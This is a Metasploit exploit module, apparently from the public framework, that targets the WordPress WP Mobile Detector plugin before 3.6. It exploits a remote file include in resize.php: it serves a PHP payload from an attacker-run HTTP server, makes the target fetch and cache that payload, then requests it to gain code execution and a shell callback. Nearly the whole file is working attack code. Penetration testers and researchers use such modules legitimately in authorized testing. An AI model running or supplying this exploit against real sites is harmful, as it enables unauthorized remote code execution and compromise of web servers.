##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress WP Mobile Detector 3.5 Shell Upload',
      'Description'     => %q{
          WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
          to execute arbitrary PHP code. This flaw exists because the
          /wp-content/plugins/wp-mobile-detector/resize.php script does contains a
          remote file include for files not cached by the system already.
          By uploading a .php file, the remote system will
          place the file in a user-accessible path. Making a direct request to the
          uploaded file will allow the attacker to execute the script with the privileges
          of the web server.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'pluginvulnerabilities.com', # Vulnerability disclosure
          'Aaditya Purani', # EDB module discovered after writing module
          'h00die' # Metasploit module
        ],
      'References'      =>
        [
          ['WPVDB', '8505'],
          ['EDB', '39891'],
          ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
        ],
      'DisclosureDate'  => '2016-05-31',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['wp-mobile-detectory < 3.6', {}]],
      'DefaultTarget'   => 0,
      'Stance'          => Msf::Exploit::Stance::Aggressive
    ))
  end

  def check
    check_plugin_version_from_readme('wp-mobile-detector', '3.5')
  end

  def exploit
    payload_name = rand_text_alphanumeric(10) + '.php'

    # First check to see if the file is written already, if it is cache wont retrieve it from us
    res = send_request_cgi(
      'global' => true,
      'method'  => 'GET',
      'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
    )
    if res && !res.body.include?(payload_name)
      vprint_status("#{payload_name} verified as not written.")
    else
      fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
    end

    def on_request_uri(cli, _request)
      print_good('Payload requested on server, sending')
      send_response(cli, payload.encoded)
    end

    print_status('Starting Payload Server')
    start_service('Path' => "/#{payload_name}")

    print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")

    res = send_request_cgi(
      'global' => true,
      'method'  => 'GET',
      'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
      'vars_get' => {'src' => get_uri}
    )

    if res && res.code == 200
      print_good('Sleeping 5 seconds for payload upload')
      register_files_for_cleanup(payload_name)

      Rex.sleep(5)

      print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
      send_request_cgi(
      {
        'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
      })
      # wait for callback, without this we exit too fast and miss our shell
      Rex.sleep(2)
    else
      if res.nil?
        fail_with(Failure::Unreachable, 'No response from the target')
      else
        vprint_error("HTTP Status: #{res.code}")
        vprint_error("Server returned: #{res.body}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
      end
    end
  end
end
